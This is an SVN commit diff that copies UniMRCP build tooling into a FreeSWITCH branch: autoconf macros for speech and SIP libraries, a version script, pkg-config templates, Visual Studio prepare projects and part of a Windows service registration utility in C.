+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/pocketsphinx.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+dnl UNIMRCP_CHECK_POCKETSPHINX
+
+AC_DEFUN([UNIMRCP_CHECK_POCKETSPHINX],
+[  
+    AC_MSG_NOTICE([PocketSphinx library configuration])
+
+    AC_MSG_CHECKING([for PocketSphinx])
+    AC_ARG_WITH(pocketsphinx,
+                [  --with-pocketsphinx=PATH  prefix for installed PocketSphinx or
+                          path to PocketSphinx build tree],
+                [pocketsphinx_path=$withval],
+                [pocketsphinx_path="/usr/local"]
+                )
+    
+    found_pocketsphinx="no"
+    pocketsphinx_config="lib/pkgconfig/pocketsphinx.pc"
+    pocketsphinx_srcdir="src"
+    for dir in $pocketsphinx_path ; do
+        cd $dir && pocketsphinx_dir=`pwd` && cd - > /dev/null
+        if test -f "$dir/$pocketsphinx_config"; then
+            found_pocketsphinx="yes"
+            UNIMRCP_POCKETSPHINX_INCLUDES="`pkg-config --cflags $dir/$pocketsphinx_config`"
+            UNIMRCP_POCKETSPHINX_LIBS="`pkg-config --libs $dir/$pocketsphinx_config`"
+            UNIMRCP_POCKETSPHINX_MODELS=
+	    pocketsphinx_version="`pkg-config --modversion $dir/$pocketsphinx_config`"
+            break
+        fi
+        if test -d "$dir/$pocketsphinx_srcdir"; then
+            found_pocketsphinx="yes"
+            UNIMRCP_POCKETSPHINX_INCLUDES="-I$pocketsphinx_dir/include"
+            UNIMRCP_POCKETSPHINX_LIBS="$pocketsphinx_dir/$pocketsphinx_srcdir/libpocketsphinx/libpocketsphinx.la"
+            UNIMRCP_POCKETSPHINX_MODELS="$pocketsphinx_dir/model"
+	    pocketsphinx_version="`pkg-config --modversion $pocketsphinx_dir/pocketsphinx.pc`"
+            break
+        fi
+    done
+
+    if test x_$found_pocketsphinx != x_yes; then
+        AC_MSG_ERROR(Cannot find PocketSphinx - looked for pocketsphinx-config:$pocketsphinx_config and srcdir:$pocketsphinx_srcdir in $pocketsphinx_path)
+    else
+        AC_MSG_RESULT([$found_pocketsphinx])
+        AC_MSG_RESULT([$pocketsphinx_version])
+
+case "$host" in
+    *darwin*)
+	UNIMRCP_POCKETSPHINX_LIBS="$UNIMRCP_POCKETSPHINX_LIBS -framework CoreFoundation -framework SystemConfiguration"                                                                ;;
+esac
+
+        AC_SUBST(UNIMRCP_POCKETSPHINX_INCLUDES)
+        AC_SUBST(UNIMRCP_POCKETSPHINX_LIBS)
+        AC_SUBST(UNIMRCP_POCKETSPHINX_MODELS)
+    fi
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/sofia-sip.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/sofia-sip.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/sofia-sip.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/sofia-sip.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/sofia-sip.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+dnl UNIMRCP_CHECK_SOFIA
+
+AC_DEFUN([UNIMRCP_CHECK_SOFIA],
+[  
+    AC_MSG_NOTICE([Sofia SIP library configuration])
+
+    AC_MSG_CHECKING([for Sofia-SIP])
+    AC_ARG_WITH(sofia-sip,
+                [  --with-sofia-sip=PATH   prefix for installed Sofia-SIP or
+                          path to Sofia-SIP build tree],
+                [sofia_path=$withval],
+                [sofia_path="/usr/local"]
+                )
+    
+    found_sofia="no"
+    sofiaconfig="lib/pkgconfig/sofia-sip-ua.pc"
+    sofiasrcdir="libsofia-sip-ua"
+    for dir in $sofia_path ; do
+        cd $dir && sofiadir=`pwd` && cd - > /dev/null
+        if test -f "$dir/$sofiaconfig"; then
+            found_sofia="yes"
+            UNIMRCP_SOFIA_INCLUDES="`pkg-config --cflags $dir/$sofiaconfig`"
+            UNIMRCP_SOFIA_LIBS="`pkg-config --libs $dir/$sofiaconfig`"
+	    sofia_version="`pkg-config --modversion $dir/$sofiaconfig`"
+            break
+        fi
+        if test -d "$dir/$sofiasrcdir"; then
+            found_sofia="yes"
+            UNIMRCP_SOFIA_INCLUDES="-I$sofiadir/$sofiasrcdir -I$sofiadir/$sofiasrcdir/bnf -I$sofiadir/$sofiasrcdir/features -I$sofiadir/$sofiasrcdir/http -I$sofiadir/$sofiasrcdir/ipt -I$sofiadir/$sofiasrcdir/iptsec -I$sofiadir/$sofiasrcdir/msg -I$sofiadir/$sofiasrcdir/nea -I$sofiadir/$sofiasrcdir/nta -I$sofiadir/$sofiasrcdir/nth -I$sofiadir/$sofiasrcdir/nua -I$sofiadir/$sofiasrcdir/sdp -I$sofiadir/$sofiasrcdir/sip -I$sofiadir/$sofiasrcdir/soa -I$sofiadir/$sofiasrcdir/sresolv -I$sofiadir/$sofiasrcdir/stun -I$sofiadir/$sofiasrcdir/su -I$sofiadir/$sofiasrcdir/tport -I$sofiadir/$sofiasrcdir/url"
+            UNIMRCP_SOFIA_LIBS="$sofiadir/$sofiasrcdir/libsofia-sip-ua.la"
+	    sofia_version="`pkg-config --modversion $sofiadir/packages/sofia-sip-ua.pc`"
+            break
+        fi
+    done
+
+    if test x_$found_sofia != x_yes; then
+        AC_MSG_ERROR(Cannot find Sofia-SIP - looked for sofia-config:$sofiaconfig and srcdir:$sofiasrcdir in $sofia_path)
+    else
+        AC_MSG_RESULT([$found_sofia])
+        AC_MSG_RESULT([$sofia_version])
+
+case "$host" in
+    *darwin*)
+	UNIMRCP_SOFIA_LIBS="$UNIMRCP_SOFIA_LIBS -framework CoreFoundation -framework SystemConfiguration"                                                                ;;
+esac
+
+        AC_SUBST(UNIMRCP_SOFIA_INCLUDES)
+        AC_SUBST(UNIMRCP_SOFIA_LIBS)
+    fi
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/sphinxbase.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/sphinxbase.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/sphinxbase.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/sphinxbase.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/sphinxbase.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+dnl UNIMRCP_CHECK_SPHINXBASE
+
+AC_DEFUN([UNIMRCP_CHECK_SPHINXBASE],
+[  
+    AC_MSG_NOTICE([SphinxBase library configuration])
+
+    AC_MSG_CHECKING([for SphinxBase])
+    AC_ARG_WITH(sphinxbase,
+                [  --with-sphinxbase=PATH  prefix for installed SphinxBase or
+                          path to SphinxBase build tree],
+                [sphinxbase_path=$withval],
+                [sphinxbase_path="/usr/local"]
+                )
+    
+    found_sphinxbase="no"
+    sphinxbase_config="lib/pkgconfig/sphinxbase.pc"
+    sphinxbase_srcdir="src"
+    for dir in $sphinxbase_path ; do
+        cd $dir && sphinxbase_dir=`pwd` && cd - > /dev/null
+        if test -f "$dir/$sphinxbase_config"; then
+            found_sphinxbase="yes"
+            UNIMRCP_SPHINXBASE_INCLUDES="`pkg-config --cflags $dir/$sphinxbase_config`"
+            UNIMRCP_SPHINXBASE_LIBS="`pkg-config --libs $dir/$sphinxbase_config`"
+	    sphinxbase_version="`pkg-config --modversion $dir/$sphinxbase_config`"
+            break
+        fi
+        if test -d "$dir/$sphinxbase_srcdir"; then
+            found_sphinxbase="yes"
+            UNIMRCP_SPHINXBASE_INCLUDES="-I$sphinxbase_dir/include"
+            UNIMRCP_SPHINXBASE_LIBS="$sphinxbase_dir/$sphinxbase_srcdir/libsphinxbase/libsphinxbase.la $sphinxbase_dir/$sphinxbase_srcdir/libsphinxad/libsphinxad.la"
+	    sphinxbase_version="`pkg-config --modversion $sphinxbase_dir/sphinxbase.pc`"
+            break
+        fi
+    done
+
+    if test x_$found_sphinxbase != x_yes; then
+        AC_MSG_ERROR(Cannot find SphinxBase - looked for sphinxbase-config:$sphinxbase_config and srcdir:$sphinxbase_srcdir in $sphinxbase_path)
+    else
+        AC_MSG_RESULT([$found_sphinxbase])
+        AC_MSG_RESULT([$sphinxbase_version])
+
+case "$host" in
+    *darwin*)
+	UNIMRCP_SPHINXBASE_LIBS="$UNIMRCP_SPHINXBASE_LIBS -framework CoreFoundation -framework SystemConfiguration"                                                                ;;
+esac
+
+        AC_SUBST(UNIMRCP_SPHINXBASE_INCLUDES)
+        AC_SUBST(UNIMRCP_SPHINXBASE_LIBS)
+    fi
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/swift.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/swift.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/swift.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/swift.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/swift.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+dnl UNIMRCP_CHECK_SWIFT
+
+AC_DEFUN([UNIMRCP_CHECK_SWIFT],
+[  
+    AC_MSG_NOTICE([Cepstral Swift library configuration])
+
+    AC_MSG_CHECKING([for Swift])
+    AC_ARG_WITH(swift,
+                [  --with-swift=PATH       prefix for installed Swift],
+                [swift_path=$withval],
+                [swift_path="/opt/swift"]
+                )
+    
+    if test -d "$swift_path"; then
+        found_swift="yes"
+        UNIMRCP_SWIFT_INCLUDES="-I$swift_path/include"
+        UNIMRCP_SWIFT_LIBS="-lswift -lceplex_us -lceplang_en -lm"
+        UNIMRCP_SWIFT_LDFLAGS="-L$swift_path/lib/ -R$swift_path/lib/"
+
+        AC_SUBST(UNIMRCP_SWIFT_INCLUDES)
+        AC_SUBST(UNIMRCP_SWIFT_LIBS)
+        AC_SUBST(UNIMRCP_SWIFT_LDFLAGS)
+        
+	AC_MSG_RESULT($swift_path)
+    else
+	AC_MSG_WARN([not found - looked for $swift_path])
+    fi
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/get-version.sh

Copied: freeswitch/branches/seven/libs/unimrcp/build/get-version.sh (from rev 14471, freeswitch/trunk/libs/unimrcp/build/get-version.sh) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/get-version.sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/get-version.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+#!/bin/sh
+#
+# extract version numbers from a header file
+#
+# USAGE: get-version.sh CMD VERSION_HEADER PREFIX
+#   where CMD is one of: all, major, libtool
+#   where PREFIX is the prefix to {MAJOR|MINOR|PATCH}_VERSION defines
+#
+#   get-version.sh all returns a dotted version number
+#   get-version.sh major returns just the major version number
+#   get-version.sh libtool returns a version "libtool -version-info" format
+#
+
+if test $# != 3; then
+  echo "USAGE: $0 CMD VERSION_HEADER PREFIX"
+  echo "  where CMD is one of: all, major, libtool"
+  exit 1
+fi
+
+major_sed="/#define.*$3_MAJOR_VERSION/s/^[^0-9]*\([0-9]*\).*$/\1/p"
+minor_sed="/#define.*$3_MINOR_VERSION/s/^[^0-9]*\([0-9]*\).*$/\1/p"
+patch_sed="/#define.*$3_PATCH_VERSION/s/^[^0-9]*\([0-9]*\).*$/\1/p"
+major="`sed -n $major_sed $2`"
+minor="`sed -n $minor_sed $2`"
+patch="`sed -n $patch_sed $2`"
+
+if test "$1" = "all"; then
+  echo ${major}.${minor}.${patch}
+elif test "$1" = "major"; then
+  echo ${major}
+elif test "$1" = "libtool"; then
+  # Yes, ${minor}:${patch}:${minor} is correct due to libtool idiocy.
+  echo ${minor}:${patch}:${minor}
+else
+  echo "ERROR: unknown version CMD ($1)"
+  exit 1
+fi

Copied: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig (from rev 14471, freeswitch/trunk/libs/unimrcp/build/pkgconfig)

Property changes: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig


Name: svn:ignore
   + Makefile.in
Makefile
unimrcpserver.pc
unimrcpclient.pc
unimrcpplugin.pc

Deleted: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/build/pkgconfig/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+pkgconfigdir           = $(libdir)/pkgconfig
+pkgconfig_DATA         = unimrcpclient.pc unimrcpserver.pc unimrcpplugin.pc

Deleted: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpclient.pc.in

Copied: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpclient.pc.in (from rev 14471, freeswitch/trunk/libs/unimrcp/build/pkgconfig/unimrcpclient.pc.in) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpclient.pc.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpclient.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@ @UNIMRCP_APR_INCLUDES@ @UNIMRCP_APU_INCLUDES@
+
+Name: unimrcpclient
+Description: UniMRCP Client Stack
+Requires: 
+Version: @UNI_DOTTED_VERSION@
+Libs: -L${libdir} -lunimrcpclient
+Cflags: @CPPFLAGS@ @CFLAGS@ -I${includedir}

Deleted: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpplugin.pc.in

Copied: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpplugin.pc.in (from rev 14471, freeswitch/trunk/libs/unimrcp/build/pkgconfig/unimrcpplugin.pc.in) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpplugin.pc.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpplugin.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@ @UNIMRCP_APR_INCLUDES@ @UNIMRCP_APU_INCLUDES@
+
+Name: unimrcpplugin
+Description: UniMRCP Server Plugin
+Requires: 
+Version: @UNI_DOTTED_VERSION@
+Libs: -L${libdir} -lunimrcpserver
+Cflags: @CPPFLAGS@ @CFLAGS@ -I${includedir}

Deleted: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpserver.pc.in

Copied: freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpserver.pc.in (from rev 14471, freeswitch/trunk/libs/unimrcp/build/pkgconfig/unimrcpserver.pc.in) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpserver.pc.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/pkgconfig/unimrcpserver.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@ @UNIMRCP_APR_INCLUDES@ @UNIMRCP_APU_INCLUDES@
+
+Name: unimrcpserver
+Description: UniMRCP Server Stack
+Requires: 
+Version: @UNI_DOTTED_VERSION@
+Libs: -L${libdir} -lunimrcpserver
+Cflags: @CPPFLAGS@ @CFLAGS@ -I${includedir}

Copied: freeswitch/branches/seven/libs/unimrcp/build/tools (from rev 14471, freeswitch/trunk/libs/unimrcp/build/tools)

Property changes: freeswitch/branches/seven/libs/unimrcp/build/tools


Name: svn:ignore
   + *.user

Deleted: freeswitch/branches/seven/libs/unimrcp/build/tools/prepare.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/build/tools/prepare.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/build/tools/prepare.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/tools/prepare.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/tools/prepare.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="prepare"
+	ProjectGUID="{01D63BF5-7798-4746-852A-4B45229BB735}"
+	RootNamespace="prepare"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\apr.vsprops;$(ProjectDir)..\..\build\vsprops\sofiasip.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="xcopy &quot;$(AprDir)\$(ConfigurationName)\libapr-1.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(AprUtilDir)\$(ConfigurationName)\libaprutil-1.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(AprIconvDir)\$(ConfigurationName)\libapriconv-1.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(SofiaDir)\win32\libsofia-sip-ua\$(ConfigurationName)\libsofia_sip_ua.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(SofiaDir)\win32\pthread\pthreadVC2.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\conf&quot; xcopy &quot;$(SolutionDir)conf\*.xml&quot; &quot;$(SolutionDir)$(ConfigurationName)\conf\&quot; /Y&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\data&quot; xcopy &quot;$(SolutionDir)data\*&quot; &quot;$(SolutionDir)$(ConfigurationName)\data\&quot; /Y&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\log&quot; mkdir &quot;$(SolutionDir)$(ConfigurationName)\log\&quot;&#x0D;&#x0A;"
+				ExcludedFromBuild="false"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="10"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\apr.vsprops;$(ProjectDir)..\..\build\vsprops\sofiasip.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="xcopy &quot;$(AprDir)\$(ConfigurationName)\libapr-1.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(AprUtilDir)\$(ConfigurationName)\libaprutil-1.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(AprIconvDir)\$(ConfigurationName)\libapriconv-1.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(SofiaDir)\win32\libsofia-sip-ua\$(ConfigurationName)\libsofia_sip_ua.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(SofiaDir)\win32\pthread\pthreadVC2.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\conf&quot; xcopy &quot;$(SolutionDir)conf\*.xml&quot; &quot;$(SolutionDir)$(ConfigurationName)\conf\&quot; /Y&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\data&quot; xcopy &quot;$(SolutionDir)data\*&quot; &quot;$(SolutionDir)$(ConfigurationName)\data\&quot; /Y&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\log&quot; mkdir &quot;$(SolutionDir)$(ConfigurationName)\log\&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/tools/preparesphinx.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/build/tools/preparesphinx.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/build/tools/preparesphinx.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/tools/preparesphinx.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/tools/preparesphinx.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="preparesphinx"
+	ProjectGUID="{71D62A04-8EF6-4C6B-AC12-0C15A875E53A}"
+	RootNamespace="preparesphinx"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\pocketsphinx.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="xcopy &quot;$(PocketSphinxDir)\bin\$(ConfigurationName)\pocketsphinx.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(SphinxBaseDir)\lib\$(ConfigurationName)\sphinxbase.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;&#x0D;&#x0A;xcopy &quot;$(PocketSphinxDir)\model\hmm\wsj1\*&quot; &quot;$(SolutionDir)$(ConfigurationName)\data\wsj1\&quot; /Y&#x0D;&#x0A;copy &quot;$(PocketSphinxDir)\model\lm\cmudict.0.6d&quot; &quot;$(SolutionDir)$(ConfigurationName)\data\default.dic&quot;&#x0D;&#x0A;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\conf\pocketsphinx.xml&quot; xcopy &quot;$(SolutionDir)plugins\mrcp-pocketsphinx\conf\pocketsphinx.xml&quot; &quot;$(SolutionDir)$(ConfigurationName)\conf\&quot; /Y&#x0D;&#x0A;"
+				ExcludedFromBuild="false"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="10"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\pocketsphinx.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="xcopy &quot;$(PocketSphinxDir)\bin\$(ConfigurationName)\pocketsphinx.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;xcopy &quot;$(SphinxBaseDir)\lib\$(ConfigurationName)\sphinxbase.dll&quot; &quot;$(SolutionDir)$(ConfigurationName)\bin\&quot; /Y&#x0D;&#x0A;&#x0D;&#x0A;xcopy &quot;$(PocketSphinxDir)\model\hmm\wsj1\*&quot; &quot;$(SolutionDir)$(ConfigurationName)\data\wsj1\&quot; /Y&#x0D;&#x0A;copy &quot;$(PocketSphinxDir)\model\lm\cmudict.0.6d&quot; &quot;$(SolutionDir)$(ConfigurationName)\data\default.dic&quot;&#x0D;&#x0A;&#x0D;&#x0A;if not exist &quot;$(SolutionDir)$(ConfigurationName)\conf\pocketsphinx.xml&quot; xcopy &quot;$(SolutionDir)plugins\mrcp-pocketsphinx\conf\pocketsphinx.xml&quot; &quot;$(SolutionDir)$(ConfigurationName)\conf\&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcp_service.c

Copied: freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcp_service.c (from rev 14471, freeswitch/trunk/libs/unimrcp/build/tools/unimrcp_service.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcp_service.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcp_service.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,235 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <windows.h>
+#include <apr_getopt.h>
+#include "apt.h"
+#include "apt_pool.h"
+
+#define WIN_SERVICE_NAME "unimrcp"
+
+
+/** Register/install service in SCM */
+static apt_bool_t uni_service_register(const char *root_dir_path, apr_pool_t *pool)
+{
+	char *bin_path;
+	SERVICE_DESCRIPTION desc;
+	SC_HANDLE sch_service;
+	SC_HANDLE sch_manager = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS);
+	if(!sch_manager) {
+		printf("Failed to Open SCManager %d\n", GetLastError());
+		return FALSE;
+	}
+
+	bin_path = apr_psprintf(pool,"%s\\bin\\unimrcpserver.exe --service --root-dir \"%s\" -o 2",
+					root_dir_path,
+					root_dir_path);
+	sch_service = CreateService(
+					sch_manager,
+					WIN_SERVICE_NAME,
+					"UniMRCP Server",
+					GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG,
+					SERVICE_WIN32_OWN_PROCESS,
+					SERVICE_DEMAND_START,
+					SERVICE_ERROR_NORMAL,
+					bin_path,0,0,0,0,0);
+	if(!sch_service) {
+		printf("Failed to Create Service %d\n", GetLastError());
+		CloseServiceHandle(sch_manager);
+		return FALSE;
+	}
+
+	desc.lpDescription = "Launches UniMRCP Server";
+	if(!ChangeServiceConfig2(sch_service,SERVICE_CONFIG_DESCRIPTION,&desc)) {
+		printf("Failed to Set Service Description %d\n", GetLastError());
+	}
+
+	CloseServiceHandle(sch_service);
+	CloseServiceHandle(sch_manager);
+	return TRUE;
+}
+
+/** Unregister/uninstall service from SCM */
+static apt_bool_t uni_service_unregister()
+{
+	apt_bool_t status = TRUE;
+	SERVICE_STATUS ss_status;
+	SC_HANDLE sch_service;
+	SC_HANDLE sch_manager = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS);
+	if(!sch_manager) {
+		printf("Failed to Open SCManager %d\n", GetLastError());
+		return FALSE;
+	}
+
+	sch_service = OpenService(sch_manager,WIN_SERVICE_NAME,DELETE|SERVICE_STOP);
+	if(!sch_service) {
+		printf("Failed to Open Service %d\n", GetLastError());
+		CloseServiceHandle(sch_manager);
+		return FALSE;
+	}
+
+	ControlService(sch_service,SERVICE_CONTROL_STOP,&ss_status);
+	if(!DeleteService(sch_service)) {
+		printf("Failed to Delete Service %d\n", GetLastError());
+		status = FALSE;
+	}
+	CloseServiceHandle(sch_service);
+	CloseServiceHandle(sch_manager);
+	return status;
+}
+
+/** Start service */
+static apt_bool_t uni_service_start()
+{
+	apt_bool_t status = TRUE;
+	SC_HANDLE sch_service;
+	SC_HANDLE sch_manager = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS);
+	if(!sch_manager) {
+		printf("Failed to Open SCManager %d\n", GetLastError());
+		return FALSE;
+	}
+
+	sch_service = OpenService(sch_manager,WIN_SERVICE_NAME,SERVICE_START);
+	if(!sch_service) {
+		printf("Failed to Open Service %d\n", GetLastError());
+		CloseServiceHandle(sch_manager);
+		return FALSE;
+	}
+
+	if(!StartService(sch_service,0,NULL)) {
+		printf("Failed to Start Service %d\n", GetLastError());
+		status = FALSE;
+	}
+	CloseServiceHandle(sch_service);
+	CloseServiceHandle(sch_manager);
+	return status;
